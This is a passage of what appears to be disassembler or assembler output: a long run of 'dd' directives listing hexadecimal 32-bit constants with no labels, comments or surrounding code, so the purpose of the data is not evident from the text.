0B709695Fh, 4B050830h, 0A0C0A8C8h, 6F76DC80h, 405E677Eh dd 0B82A4215h, 0A427C057h, 5CDE301Fh, 22450618h, 68AAE70Fh dd 0CBC01EC7h, 9E9F65BFh, 69C03BF8h, 773A8D80h, 8E17C76Bh dd 0CB295C00h, 48FFCAB2h, 2E2B0BC3h, 61805565h, 0A568AFFEh dd 37AD4A00h, 38302CD1h, 8710187Ch, 8D6AB9C5h, 0F10C2AF4h dd 0A8DEB395h, 0DDFE400Ah, 0D3ECCD13h, 0C484A600h, 8D89Ch dd 0DAB71445h, 77AD2BE9h, 0C8DB4C00h, 95A74A43h, 8C0800FEh dd 3F46B78Fh, 59008993h, 0D2DCAC72h, 0C04BF4B3h, 9C7E1C18h dd 5A2C7186h, 191E1520h, 1A956143h, 8C0E08Eh, 72D60C9Ch dd 0BA108946h, 9BD45500h dd 3647A115h, 8AD6B05h, 0DA20570Ch, 9F267F98h, 6600526Fh dd 95579DE4h, 6B0E079Ah, 0C08C442h, 8D01BA88h, 3F4F1EF2h dd 0DF8E4Bh, 0F567CF40h, 1B6C5E3Bh, 583E36F8h, 53EC2E4Ch dd 46DCAD01h, 1EFAA80h, 17D49AC0h, 80FB77AFh, 53812D10h dd 66D91h, 8E938DE3h, 962A47B2h, 7700DCF6h, 3B720D66h dd 7985615h, 1F871439h, 0C574102Ah, 810004A2h, 8A32F46Ch dd 2430E0E4h, 96435Ch, 0DDE55D96h, 93002645h, 7ED1223Ah dd 1E1BDA4Dh, 473F7803h, 0EB3C13h, 5AFA2FD8h, 97D2E000h dd 2E48B16Ch, 0BBA50098h, 0D7CEE750h, 2F048629h, 8158EBDDh dd 126A8580h, 0A9F0001h, 65ADD693h, 2707AEC2h, 0A01D5A1Ch dd 9DB6AC21h, 73C40F4h, 9236552Ch, 120DE0AEh, 85F85AC9h dd 20942E30h, 63BEBh, 1570DE23h, 22654172h, 0A564D200h dd 55B20D1Bh, 3CBDB853h, 0BF1E07DEh, 8520C38Fh, 19008EDBh dd 6670D2A0h, 20DA545Ch, 6E008C77h, 17DD9EC1h, 3C6F4BCAh dd 66802EDEh, 4772D4B7h, 430C843Eh, 0E1C559F1h, 64578CAh dd 17749DACh, 8500A086h, 0F66B27F5h, 30F3EE07h, 3B9AB38h dd 600D9D8h, 0E253C2F8h, 19C1751h, 489A5482h, 0F8FC158Ch dd 0C2000F2Ch, 418744BFh, 8861D5h, 67E1421Eh, 8BE3A651h dd 40E5FE00h, 3204050Ch, 71FF0095h, 16C4823Ah, 0F8005BD3h dd 591CF66Ch, 7B52E5D9h, 0F690056h, 400E6B88h, 0A400B8D8h dd 0A6673EE9h, 625625h, 0B4FC5A2Ah, 0E1F2409Bh, 3423E503h dd 0F8651695h, 0C0D0A573h, 4111351h, 87EE0764h, 0B637CF0Ch dd 988D18E6h, 52D83F99h, 50F6A00h, 41EB44B0h, 9C3ED970h dd 0B47806Ch, 36715081h, 7D4EF40Dh, 407700B1h, 37FA89E9h dd 0C4009060h, 0A3B2BB1Dh, 78B52B20h, 504A0F67h, 0D9A16BACh dd 9FBAF2FFh, 8CC2D278h, 0E080479Ah, 3C46EBAh, 58ABE25Eh dd 881D45ECh, 0CF5D2BB2h, 24DE603h, 13701E06h, 0C3E900F5h dd 55C542DAh, 0E4480400h, 4C5B0A7Ch, 28BEFBCBh, 0F3C09300h dd 0D8A8F03h, 0E800C774h, 0C2BC6D4Dh, 972520h, 0AED2CBA4h dd 9E5C1C55h, 12AB7D03h, 0A051DCB8h, 3AAA988Dh, 87008CF6h dd 609F670Fh, 0A00ED40h, 15217CACh, 1F0C1283h, 40747598h dd 8ACB87A6h, 40C050C2h, 0D5142362h, 54AA3A33h, 1880E898h dd 0F7935D8h, 12C54Ch, 0CD28A64Dh, 3C47476h, 46D165FCh dd 3803F977h, 4DB16D55h, 0BE6B8A7h, 6729297Ah, 2B94002Ch dd 0E4C1CE25h, 0A3E6BF00h, 0C6AC825Fh, 99766034h, 59D1725Eh dd 0C80ACA00h, 93753E45h, 90DF6788h, 0A298C057h, 6D0C49A8h dd 18AAEC52h, 0E1A90177h, 0BC2A9364h, 0B73ACCC6h, 87A8F600h dd 11BE6555h, 0A50F15ECh, 0DC0E98A9h, 2B8E7638h, 5EA70A20h dd 0A5007B4Ah, 0FE05FC52h, 8FE8FAh, 2CC8EE97h, 4A40F213h dd 0D9C13D01h, 67AF440Fh, 0A3C2AF4h, 24E510BCh, 3A488024h dd 81F4FCCBh, 0EE87C500h, 0D474D6BBh, 15C4A00Ah, 76B9C00Eh dd 0A74CB833h, 4E4AE00h, 0E06CA4C7h, 1A210079h, 0E7A5E892h dd 840008EDh, 0F223BFFEh, 0A0F3E65Ah, 6A7AFDCh, 0A1C1AA4Ah dd 0FD7150BDh, 0B81D4D28h, 88188402h, 80155BD5h, 0F1E39BDCh dd 41A33CC6h, 0A0A84200h, 95C31617h, 405F6701h, 61C92219h dd 385A52D0h, 2A0E6BB4h, 0C560788Dh, 0CCC1A2D8h, 87C09550h dd 47C01C00h, 55B8348Eh, 0D6F0012Bh, 14F3CD89h, 9AEBF8A6h dd 0A835C139h, 520094C4h, 0D27DFCBFh, 1ED1280Fh, 0C460167Ah dd 0C0A969E7h, 33381B4Dh, 0CA0A3500h, 3ED5BF15h, 0DF1C1DD4h dd 0F830CA2h, 35FE9E20h, 1F03495Ch, 0F4C02FB0h, 8B91DDF7h dd 0C7370738h, 0DE33E9F5h, 0AD6F2540h, 0B3260A5Fh, 0D10E4652h dd 0FA57E1AAh, 0F8C3724Dh, 0E4729F8h, 3868C75Fh, 10BFA7C0h dd 0B478D532h, 0B1533Fh, 9F8D772Ah, 74346C09h, 3BA4005Eh dd 43A1386Ah, 8C00D361h, 45EF8073h, 0E83FEC8h, 0E19C10C1h dd 0B2D9538Ch, 68280D00h, 75F99D3Fh, 0B989D844h, 6914B333h dd 0CE84FD63h, 0BF684264h, 0C2E230A5h, 60334800h, 6D53CA36h dd 0F6AF016Ch, 135514E4h, 0DC85E0F3h, 83066AFAh, 47C6848Dh dd 12D021D8h, 261C089h, 0A45E4541h, 9440A56Ch, 1F5F8A73h dd 0B6608018h, 0F533B150h, 76106ECh, 1E14D537h, 41714015h dd 9B1DEFA7h, 4F0CF682h, 7E3E20B5h, 0D6376A8h, 3342F91Dh dd 0B7F807F0h, 0B6F1B359h, 0F25BEAE0h, 1BA80500h, 0D964DAD5h dd 4CA0E0FCh, 4600A03Dh, 7F97AA25h, 36030C58h, 86F84180h dd 4EDB90C3h, 79D1075Eh, 0F05F74A1h, 0B7E89D07h, 99B8EE00h dd 0D89F383Dh, 2B9C1EAFh, 262F87A2h, 0E6C6B065h, 8B072CF1h dd 0E9DB7B5Ch, 0D147F30h, 767E6CFh, 0A1E8F5A3h, 40E04051h dd 7F00208Dh, 0F73F72FFh, 0A0F8B4D0h, 1289F1h, 88EC9541h dd 45C31B0Fh, 0F7006579h, 5D4F32C0h, 51FF6BC5h, 4DF8AB61h dd 7BFD989Fh, 500B00A7h, 9228C17h, 0C0015E3h, 937DD5D3h dd 1D737D4h, 0CC07F192h, 60DA381Ch, 2807333Ch, 0A24BA653h dd 3264DFE0h, 6D471E89h, 8E0E3D1Ah, 0E7C0F737h, 13AEF8A0h dd 52AC571Dh, 0AAEB7380h, 112C70h, 0D4F6C5CAh, 747AF71Fh dd 32CE9900h, 4713A28Eh, 0F92A0051h, 60AF3B91h, 0D100A7E2h dd 4C30B3D4h, 0BD1011h, 0FD0385F5h, 0EE5A893h, 0EFD1FB00h dd 720DE999h, 0F95D0050h, 2CBCE886h, 544807E6h, 0F7017E56h dd 44F2BBB7h, 0DBD84B15h, 0E0053FDCh, 69F56300h, 829A5CEAh dd 91BC025Fh, 0BEB7D800h, 0B93B295Fh, 450081DDh, 7B787D5Dh dd 0C57900AAh, 0EDFFE2B8h, 58004694h, 1CA05706h, 1D93F96Bh dd 9C1D8BE8h, 0FA794090h, 0D3DDB382h, 7482D24h, 0C74CAB05h dd 8960BF87h, 7337A101h, 978700D6h, 0E81AD5Ah, 0B326DF31h dd 6F004CBFh, 7F78C5C7h, 0F6FE0ED0h, 0E86016F7h, 0D3C14ADFh dd 8EF10400h, 5129B2D1h, 2E961D0Bh, 6703FE5Fh, 935ED2A4h dd 8353D7E8h, 21007778h, 0E53A323Bh, 0F8747DBDh, 0C3F604B2h dd 0C091B1EEh, 222BC624h, 5FB88079h, 2F00D378h, 353D44CEh dd 7A826055h, 8B02008Fh, 0FDD8AEE0h, 8E007B9Ch, 1CA661AFh dd 0C3DD86h, 7AB31066h, 939F5395h, 6A152700h, 0B479F929h dd 0D5440E2Ch, 80BF3519h, 0A4E7F712h, 0D03A1DCh, 0CB1F71F3h dd 4E3BF89Ah, 8D8B07A9h, 0F9637410h, 0ECDFF480h, 3300962Eh dd 0E53064C9h, 0B85968E8h, 7273013Eh, 0DEF94111h, 8F0C2487h dd 40001CE4h, 60A9C294h, 0CF641Eh, 8329467Ch, 0AE9D91FBh dd 0E5687F00h, 0AC618EEh, 82A50358h, 0E497074Dh, 26A2ECC0h dd 8ACDC800h, 49F0D54h, 5B140016h, 0E4690FB3h, 0FD04835Ah dd 80FE94F9h, 70C91880h, 0C4EF0293h, 63B12132h, 9A5709C0h dd 82088300h, 8847447Ah, 3D20E9D8h, 0E10E0BBh, 0A1E774C7h dd 352AC000h, 1C01D123h, 0CD2467C4h, 22C8AD8Dh, 0CC3B0328h dd 5E2BD88Eh, 0A2F6B8F8h, 88C93F00h, 70C7822Ah, 19A81CD0h dd 6EE5408Eh, 0B6AE993Ch, 2EAEC3Ah, 0CC22773Dh, 0E7C44864h dd 1C2600FCh, 93F24C0Ch, 0DE3AA0C5h, 826307A3h, 0B0A038A1h dd 689F76h, 6E08EEB1h, 94F472DCh, 1DED5900h, 4E4B1C01h dd 3346004Dh, 9C191A7Fh, 87014540h, 7015F2DFh, 0B0241277h dd 14B848B2h, 0AE3A423Ch, 26A19F00h, 0DE17AB6Bh, 0A027E92Ch dd 6AEC7F38h, 7800A070h, 0CA65D685h, 0F28E90h, 0FF95C62Ch dd 0C3402D0Fh, 6A377300h, 0A53469A9h, 0EDF20774h, 0A3CB1AD5h dd 0B2D809E9h, 381C5985h dd 5C401BB5h, 3E29FAD2h, 0CB3B1DCDh, 0E5F78184h, 0F08757F1h dd 5E00B3ACh, 60E8E022h, 13446661h, 9F0A0h, 0EB080CCBh dd 2C05017Bh, 1EF5C90Ah, 99AFE280h, 77BB00BEh, 73E13BF7h dd 0D8003686h, 0AD595BC1h, 144352F6h, 848C6785h, 87010D39h dd 76C10F93h, 4AD9E8A5h, 953D3400h, 5FCAB7Fh, 4CE00F8h dd 8061052h, 0B0009DEDh, 4490FB30h, 146AA55h, 7AE46CF6h dd 0E07EECE9h, 5890B05Ch, 271D9805h, 0B04F8C5Ah, 80342BF1h dd 8D1E5382h, 0DC1609FFh, 94035C7Dh, 3980B163h, 0C612ED77h dd 6E18C732h, 3A8FE8h, 4907EF79h, 0ABB571Dh, 749D2602h dd 46F5B914h, 0AC2310E4h, 8CB82415h, 0BF7CF087h, 0C8C034A4h dd 3D645739h, 488376h, 0C0F0D001h, 0FC423655h, 0D4006DABh dd 8904432Bh, 0E99CD2h, 531AF43Ch, 0BD9792Eh, 2208CA00h dd 0F06B1F37h, 3C05077Ah, 5051EAD2h, 0C2EEFE72h, 7C069400h dd 0B9752281h, 627D0044h, 854E415Bh, 9100A87Eh, 1DB348B5h dd 3C1F9A9Eh, 4001956h, 6F3A05F6h, 0BD50835Bh, 54912ED0h dd 2CB23900h, 0F5A6E60h, 247BF832h, 1937C781h, 0ADECCF2h dd 80641238h, 0ABB3B815h, 0F565A1h, 22BA9D30h, 4EB0F0A6h dd 6C39200Fh, 0BCA980B7h, 61DC3Eh, 41FB5A0h, 0C7E2FC2Dh dd 80EEF439h, 2B7E51C8h, 6F3DEDh, 69338F30h, 0C1585A90h dd 0EE3E39h, 787299C4h, 0F638B184h, 83742441h, 36980024h dd 6BB5D750h, 0EE9DFE02h, 40E09B9Eh, 0F449630Ch, 0BD6238B8h dd 0E607DDBFh, 91E7C0h, 216E6BC3h, 5FF27278h, 800CD7Eh dd 1DFE6362h, 9AD4B013h, 0A11103ACh, 0C0D3CD1Ch, 0E4EB53F8h dd 92EE53Bh, 9894A99Ah, 0BE549Ch, 0F208CBC5h, 0E81C5BBBh dd 3189048h, 31FF9284h, 808FB35Dh, 0EB11Ah, 0AD37B323h dd 7B9BFDD7h, 0DC09C304h, 0E8CC295Eh, 3BF50B49h, 69871070h dd 8128B2D4h, 863CBC60h, 80B1F038h, 212AE503h, 0A87747A9h dd 0FB678Ch, 0ED6BFF57h, 0DA3BD087h, 7D149700h, 0C6C58911h dd 63CE0BF6h, 350043F7h, 93C10DEDh, 0FA0045E4h, 85619FBBh dd 0A3E37Ah, 4DCFC52Ah, 210594Eh, 79524000h, 0BAC087C1h dd 91200F8h, 413BAEFBh, 4F1460BFh, 0CA22D1h, 72B411C8h dd 3CA827CEh, 73806820h, 0B161569Ch, 0D400B59Fh, 0E982D165h dd 7A30ADAh, 0F8641F14h, 3BD31075h, 7C039143h, 168F33E5h dd 0BE81F849h, 29740734h, 0D3D53858h, 0D8003EF6h, 5BC33C13h dd 1CCCB88Eh, 0E4F382B9h, 27620070h, 0E8FEC535h, 302D8A7h dd 805E4318h, 0CA0649ACh, 2B9400A0h, 0ABC3B8Bh, 1CEEB6A8h dd 0A419F328h, 590BFA17h, 321BE81Fh, 43E8E889h, 0B822006Dh dd 756534EBh, 26008A4Ah, 0F3021ADBh, 7A6159Ah, 13A9CE6Eh dd 4FCCA1EDh, 0F0D05CF2h, 7757F00h, 0FC1FA5C4h, 0C90E001Dh dd 0CD34C8CCh, 6000C277h, 8E2717BBh, 7425E218h, 0BC3E4AE4h dd 897A3823h, 808029B4h, 3BF9CA61h, 0B0A20F5Eh, 0C240F173h dd 6972F685h, 0C0B4EE0Eh, 906E00D6h, 1DE8A471h, 0DC7DFC2Eh dd 38BBC5ABh, 57008C0Ah, 1FF00D00h, 0DD3D6580h, 9C78005Fh dd 61794B34h, 4E091351h, 1D6AFA5h, 56722BA0h, 0A1A01C00h dd 7423300Ch, 68FF51EDh, 0B8AC81h, 94F6733Dh, 62008886h dd 0E893EE4Fh, 0FAD04DAh, 2B0C36F9h, 4090E187h, 5D4CFBCCh dd 79457507h, 5895FA9Eh, 443AC400h, 2EC671B1h, 9FD4BF6Ch dd 0FB4F00A0h, 9D90FC2Ch, 1E415602h, 40B1E8DFh, 580500h dd 0F5D17FD3h, 592BAA0Fh, 0F200FB7Bh, 0BF060771h, 1B7ED8Ch dd 3AC91C85h, 246A902Fh, 0D7484FA8h, 7798128Bh, 90BEDC09h dd 480106A0h, 9201ECAEh, 41968A59h, 0F1D8FCA6h, 0F9BF0900h dd 1C6E676Ah, 0BB3A0153h, 0FD7669B8h, 62DC2088h, 0E15D7000h dd 1B10C114h, 13BF0096h, 0AD5EE802h, 0D079334h, 1936DF82h dd 31306A20h, 0B1771A6h, 1B94558Eh, 92B30F00h, 9107F750h dd 47142C5Ah, 988DD480h, 469A00F4h, 0EA4C208Ah, 25FE5CF2h dd 0DAF31101h, 0A8E635EDh, 392C1EBAh, 0CE710031h, 0F8B23DFDh dd 81F98600h, 7B0DE763h, 0D80500D1h, 0CE2012AFh, 0F304C843h dd 2C574F1Bh, 7840A4C7h, 9B0B7Ah, 0B83D3FEDh, 0B217A3C4h dd 0A6C97202h, 40C2C555h, 378A62h, 0EFD6AD9Ah, 0D740310Dh dd 0F9DC20FBh, 28C5101h, 2C6AF043h, 961B70h, 23C82D31h dd 2FFC0D14h, 0CB04FF00h, 0D1EA7B73h, 0F4B30F76h, 7440CFDBh dd 0EB4675B6h, 0DFF5D507h, 0EDB02BAFh, 0EC5A8C4Eh, 8410242Dh dd 6B010C66h, 31003970h, 4290EA16h, 2A211541h, 710DC79h dd 0D161EABh, 7E6AA086h, 0C2002A91h, 95F00BDEh, 20CCABF1h dd 94380AB0h, 8D3960B9h, 0BED904h, 59E28983h, 881C9E1h dd 0ACF0F81Ch, 0E51F7700h, 9C2BADh, 6F0F91B7h, 0E2E0661Bh dd 212E44B2h, 5C1908D4h, 0ADCC2B50h, 0E18903BBh, 0FB6C25D9h dd 20012970h, 19F5E938h, 0C406730h, 31CDF7E8h, 8988D48Fh dd 2668D041h, 0F4DC7E14h, 13AB1554h, 92960070h, 8D4E222Ah dd 2F5B3B3Dh, 0E5CC2800h, 95321BAFh, 21503000h, 0B9F9AC3Ah dd 4F2526C9h, 71F074Ah, 0F1388099h, 28014A0Fh, 44D851F2h dd 9050EB49h, 0A8B696h, 0FB94752Eh, 0C53F4ED6h, 0B92A51Dh dd 0E96C5D40h, 3A1CEBB6h, 98393E17h, 0DB9B6580h, 2A345FF1h dd 0FE8E4E11h, 0C760A409h, 9BEF3840h, 59E55106h, 1E21DD24h dd 40EB89A2h, 2726AF74h, 0E0F03A91h, 0EAA04E02h, 40AABB30h dd 1355800h, 0DACED93h, 0D1DFF7C7h, 0AF8BE8D7h, 9404F92Ah dd 0E25813Ch, 0A092E8A6h, 96F54705h, 0A02058CDh, 96A7F00h dd 5AAAA7EAh, 5F801261h, 0E74E21h, 7F75E8A0h, 67F074CFh dd 7BFEBC01h, 0D9FCEF3Ah, 0FEE40E8h, 0E7AF88C8h, 584BB342h dd 138EC080h, 120C01FAh, 8868BC38h, 0E3103D8h, 5E23D2AEh dd 16C06900h, 7C22DE3Fh, 1DC7799Eh, 0BD91AA3Ah, 93015385h dd 0A1EE80CBh, 4600F674h, 0D5A8D057h, 60DE78h, 5E2A4086h dd 8E8D89EBh, 349DA507h, 1BB04EB8h, 0D61DF8h, 897FE2C9h dd 0B46E1A8h, 0F78F2500h, 227DFD14h, 8D7526h, 0C7DB8C1Fh dd 83DEFC1Bh, 2B52EA00h, 18A2F7A9h, 60106060h, 6BC936AEh dd 35FFD01h, 0C3B7F5Dh, 0C0F1CBD0h, 0C9383520h, 0A200321Eh dd 83F61CDDh, 482A82D7h, 0B53FA507h, 56C43603h, 0B0001146h dd 204028F7h, 382358D3h, 0EF03EDB6h, 22D756BFh, 0E23BA800h dd 32850B1h, 0FC4B0107h, 0D7706A46h, 0EADFF869h, 0D97D210Bh dd 71E907AFh, 0B9CE4CC0h, 0F40E30AAh, 4490AD40h, 37B7F917h dd 18E23D00h, 553A94h, 0B83B02CEh, 5D23470Ah, 56299200h dd 2EF1C5EEh, 96F28A8h, 0EC580084h, 0EB159EB2h, 955C78BDh dd 0D3CF0036h, 0D7E924EDh, 0E5D5382Dh, 7AEE4E81h, 0E819052Eh dd 3913B8FFh, 400AF27h, 981AAB46h, 0D94E1783h, 682E00F9h dd 10A099F5h, 82CBD600h, 0D026F418h, 1307F2EDh, 0A8DA7Ch dd 7A2BA970h, 0FF1C32D6h, 0E0C05CFDh, 0CB3AB186h, 0C6CC0004h dd 0A2B4DFAFh, 0C01CD11Ch, 9880D547h, 4A6B2C59h, 66FF0716h dd 9039F654h, 0EBAD0C1Eh, 0E01EEB8h, 0B7870BF5h, 43D6E6A9h dd 0B08EE364h, 4917FFh, 0AA3E2E5Eh, 8C10D1ADh, 0C97AC202h dd 0C0ECF35Fh, 14EBAC49h, 64972384h, 0C4A18800h, 0F4C13977h dd 0E622AB00h, 0D44DC914h, 29630126h, 0DE537D16h, 0AACAC8C4h dd 996939C0h, 238554h, 6708F1E3h, 44098EE4h, 429BD101h dd 5DA24B91h, 0C2BDCC0h dd 0C5AE3989h, 4D72617Eh, 0AE98E01h, 64E63A6Bh, 550F9440h dd 0CD17B52h, 0A175F62Dh, 20E38A68h, 24004F74h, 43DF255Ah dd 0DA5906h, 0D46EB3B9h, 88B43414h, 0C0D37200h, 73BFF098h dd 80C40015h, 0D01B873Ah, 0B2002775h, 9B881368h, 637262h dd 46D2172Eh, 0BEE47F97h, 0B8254A3Fh, 2AB900F6h, 0A5DC4CDDh dd 36A00046h, 0EAD85EE5h, 0F700F112h, 1163F02Bh, 0E698D93h dd 0F42167F2h, 6E1DDA60h, 0D43A9BF5h, 0D22B0032h, 0AD0BB166h dd 70430655h, 84013AFh, 20FA6B30h, 0F0A406h, 3859C494h dd 13439EB8h, 634D6C00h, 0FA832BC2h, 3DE70E8h, 393CFE85h dd 181D2809h, 398890Ah, 0D74669h, 0BDFC2133h, 0C06F1DE5h dd 0DB037B7Eh, 0B327BC6Ah, 48F6B0h, 46E3E77Dh, 0FFC56CF7h dd 500E8F8h, 0A36856E0h, 71A2F29h, 0DF8C6270h, 0BD60506Ch dd 7E00E21Dh, 0F9C4B537h, 0F287874h, 6F1CA392h, 0D611EA40h dd 0F5EA95A4h, 61BF0801h, 165C3D86h, 81A170h, 0C5986C4Fh dd 8EB7C939h, 66321D00h, 1CF01E4Bh, 0F58201E1h, 0D2274C2Ch dd 0A440D47Bh, 0C2C7810Eh, 0C0700FCBh, 0F3243BCh, 425C00F0h dd 0B3A82DB4h, 0B724C0D8h, 80187172h, 0D3F908h, 0B5CDB44Fh dd 446C9DBCh, 9DB6DD3Ah, 70800CE4h, 3CE2E83Fh, 35B70095h dd 671BCCEEh, 7F0F2CC2h, 0E05F0D8Bh, 0AA4E1E92h, 0B170880h dd 0FB0D78A2h, 79C82067h, 6DF81C22h, 9B0181ACh, 0F9FF779Fh dd 4F854068h, 0B700076Eh, 43A6F7ABh, 0FE4CD442h, 7F5B0117h dd 21464912h, 3A4D06Dh, 0B3A730C0h, 10900Fh, 6B9EC001h dd 2C69D5DBh, 17CF5F01h, 0CACCED35h, 7C2785F0h, 0B459C0A7h dd 0FB93FC4h, 958CDE54h, 0A5ADD4A0h, 0B05FEF03h, 80DFDC8h dd 8C765D90h, 0A12B1640h, 8BEF104Fh, 21818C3Fh, 0F5A0025h dd 0C3E1F3C2h, 0C907AA19h, 1A0291A3h, 0FD7B3303h, 872D2082h dd 67803FCCh, 0B02CA4BFh, 8E8F01D6h, 84EC4D42h, 20FBDC1Fh dd 0D22DE100h, 0B2E0251Eh, 829100BEh, 47DE1559h, 110037D7h dd 918636Ah, 2CD19BACh, 0B167AFh, 0CF0F6C4Ah, 88077B04h dd 5ECD7E74h, 9FB36810h, 0FDF70072h, 0F599D41Dh, 0CC028843h dd 682EC1EAh, 57B1400Ah, 7DDE00CFh, 0E135E0B4h, 0BE1CAD81h dd 9600DB6Dh, 0A3067C63h, 0F693B8B1h, 70A2390Ch, 0E9652E87h dd 80B3B02Fh, 45B06F8Ah, 5A4D0500h, 1F0294DEh, 0CE9A00C6h dd 6D8C7D1Ch, 0DC0003F6h, 9F5BDAE4h, 3860915Ch, 44801FA0h dd 3F5FB7C1h, 0F4001485h, 0F2B5FD73h, 17C96A6h, 0FAC079DCh dd 0ECA2844Dh, 82003F44h, 53147F2Bh, 7271A9h, 0F3CA5286h dd 6CE5B497h, 4F7AA000h, 44651A76h, 0DE3A0158h, 0DF79C61Ch dd 0B782D020h, 0A8BF3201h, 2B1EA2E8h, 7EADFB70h, 2E570321h dd 5EEFEB36h, 0ACA601C0h, 1001E4B8h, 284AE89Eh, 26F1CE9Bh dd 51614880h, 0DE2A56D3h, 44001D70h, 0DFECD36h, 24326h dd 32C6B0FBh, 0BB2DD5FDh, 6EAA4A00h, 0E53C970h, 4160002Ch dd 86BA63ECh, 8100D8B4h, 4E2683E1h, 60B3505Dh, 36ED2062h dd 0DA3C7A1Ch, 0BE768461h, 0C1808682h, 0D31567h, 0F7970E2Eh dd 409385EAh, 0D2537507h, 0DEC03072h, 1F62F432h, 4EEA434Fh dd 60A0E638h, 14B46561h, 803ECC01h, 89090E58h, 0C2FCD0h dd 6D43602Fh, 0F24E1A30h, 9ECEA500h, 0D11EC183h, 0CA30134h dd 931CFF10h, 6480EA6Bh, 155BA243h, 11FD1337h, 88B7E700h dd 0EE2906EAh, 8017672h, 3D216560h, 87B74Dh, 6DB4A915h dd 0B2D711D6h, 1FF5E00Ch, 218F502Ch, 3900FC44h, 0D8478860h dd 227C42C6h, 0E4AB00BFh, 7CB53B7h, 0AF03C5FFh, 75384B42h dd 29F90046h, 5E4C5208h, 6F0A12DAh, 5C3BD4EFh, 3CA465Ch dd 23B42AA2h, 3789D09Fh, 19170E12h, 45202FDDh, 0C63542A5h dd 0C9304900h, 17CEDA70h, 0FDD200C3h, 630F1553h, 0A900CFEBh dd 865526D0h, 1DBCCDAEh, 42E4E62Dh, 6FFD1E1Ch, 40A31461h dd 0A8DC22D5h, 8AF7B00h, 256790F9h, 0B0BC0019h, 2D359C57h dd 55B01E65h, 0F385FC00h, 0F6B5BEF5h, 0A51201D8h, 0C6EEB649h dd 1565D8E7h, 1B634F00h, 89393125h, 5A7100DFh, 0F85BA370h dd 0E3E6BEEh, 0A25600EFh, 0DB3D8C12h, 7751017Ah, 0C5FA6E2Bh dd 0E176603Fh, 78EED3Dh, 0CBDA1E2h, 0DE3C5AE0h, 0C15F869h dd 83167322h, 0B7038E11h, 78A0CF6Dh, 2790C0D5h, 7AC500BFh dd 94426114h, 0AC98EC2Fh, 0EA6B9700h, 0C66A9695h, 9BB00DEh dd 0D5476478h, 741E0D45h, 0BA1922h, 2A1290F0h, 0CFD981h dd 0D3A8040Ch, 19F44942h, 0F8001A7Dh, 396FDCA7h, 756951Bh dd 5C9EEC9Ch, 0B60D60D9h, 0BC2C3778h, 921EB3C6h, 304B3340h dd 0EEDFEE4h, 0D67B7738h, 6EDBF740h, 0AD005AB3h, 0EBBB6B82h dd 4827C5h, 7F7B6034h, 0AA5212A1h, 7500B498h, 0B420ED81h dd 731A22h, 0E2BC8ACEh, 792E454Eh, 47099500h, 51D8AD3Eh dd 883500DCh, 3C6A69FFh, 0ED5A27A6h, 93034EACh, 0BDEB8DE4h dd 38B74D8h, 2A3A1A00h, 1037DBDCh, 41930053h, 0F372FD0Bh dd 7CE425A9h, 0D7A42700h, 60AC2E9Dh, 5A090017h, 6646F06Dh dd 0B2003085h, 0F85DC0FCh, 0FBEFCFh, 611123DCh, 60076501h dd 341C9B1Eh, 15D8A800h, 0D44329h, 276EEB0Fh, 95022211h dd 5B90C67Bh, 0B19FD07h, 9001238h, 8CDCBAh, 0EEC4DED5h dd 428B55C1h, 0F6F0C48h, 277A25FFh, 3757C252h, 0CD92F160h dd 61E907A9h, 0F072BA5Bh, 863CD818h, 0F9F5D501h, 6B842C29h dd 7463C8h, 83758E2Dh, 0E91C65FCh, 4A95E800h, 0AA26DA08h dd 19910285h, 92D4A486h, 2271A40h, 0DFCF2F03h, 1D3ABC2Eh dd 1E70E28h, 6F2C861Ah, 844B0091h, 0DFC61EBFh, 0DB96C0D9h dd 9370D226h, 0F1D150CFh, 0BD14EF0Ch, 10E99E28h, 0C2D506D6h dd 63494150h, 2ACB9301h, 5690788Ch, 30317A29h, 6C83509Ch dd 14977994h, 1FE42C0Ch, 0E5445EA0h, 0F65C2017h, 0C95BFB30h dd 0D7CD995h, 0B6226C8h, 0F3C6EC79h, 64401F81h, 0C67EC087h dd 7808E628h, 0A1E6987Fh, 0D2222260h, 0F8EDCE84h, 0FAEF009Bh dd 6AAD3BDCh, 0FCF74323h, 0D3389A02h, 0F6FC808Bh, 0B692A0A1h dd 7D0D0F79h, 18C36E4Ah, 3BA04C1Eh, 0A200F8C3h, 0B985C683h dd 0DD2CD4h, 0BFDA1CE4h, 0B0CCE10h, 303CA900h, 70311289h dd 0C3C800A8h, 9CA6304h, 0DA02208Ch, 0E865F69Eh, 0BC2CC06Bh dd 13E4CCh, 867C0FEh, 0A5C2539Dh, 3F98F600h, 64434B89h dd 5EB704AEh, 80732174h, 0D129C4B8h, 67886C00h, 0FB4D9312h dd 5B160094h, 0EC61F1A5h, 86003E9Dh, 55323BB9h, 0EC39F26h dd 81279330h, 8DA5EBC0h, 0DBA02903h, 600DB9Bh, 73A72C55h dd 791F89h, 36ABCFBAh, 0D3FE2E7Ch, 0CE003076h, 0ECB35958h dd 0DDEEAEh, 6A44BC0Fh, 0FB611CA7h, 69C12700h, 924EAC20h dd 0EF040050h, 54B96403h, 0F5003DE3h, 1A5BE114h, 572184h dd 0A7018C04h, 2A434563h, 8D546600h, 2E8628EAh, 0A68F0053h dd 0E4F9AFF5h, 0AD0133CEh, 0DA7F27C3h, 994041F0h, 1ABCA79h dd 0F78A2E6Eh, 9C37C121h, 7AC0B030h, 0F5CBCF3h, 0E1FB0001h dd 19FC9D97h, 0CA00E43Ch, 0BFAC2718h, 129D67Fh, 0B3624236h dd 60BD02D5h, 9300E03Eh, 0D8E53989h, 1F31AE1h, 52487704h dd 0C82C1667h, 0F20053EDh, 0F9077A1Fh, 3FD971h, 1DCC3751h dd 0E49404FBh, 5B01A21Fh, 0C697F45Fh, 62BF7700h, 35223DAEh dd 8AE910h, 0F31484F0h, 0A500E528h, 89C076F2h, 12293568h dd 1E9C891h, 72674440h dd 0F4A1E9D7h, 0F2EE4FA3h, 372DD00Bh, 0B80E01E2h, 0E1F807D4h dd 34D756Ah, 206BE382h, 0F1A03ED8h, 841744E4h, 0D101912Fh dd 0A97CA6E7h, 0C697D8h, 55A23996h, 0A7319A1Fh, 7F155F00h dd 0BD859B54h, 0B4F40070h, 58282FA9h, 82EEC189h, 4E48D900h dd 25F52EFCh, 392C00CAh, 5DB9287Dh, 0AC0996D7h, 802A1608h dd 0D3024BD6h, 0ECCA0066h, 71B56839h, 9D00CD0Eh, 8E25EBE7h dd 0F5F722h, 4B2ACA6Ah, 0E91805Dh, 41239F09h, 0BF5C045Ch dd 4320B818h, 0BCDC8B16h, 4288A100h, 0DACEFAh, 59CDB2Fh dd 0F8C5B714h, 4B00D9E4h, 86A9EB0Ch, 0CD9D22h, 41C32CF0h dd 48F3951Fh, 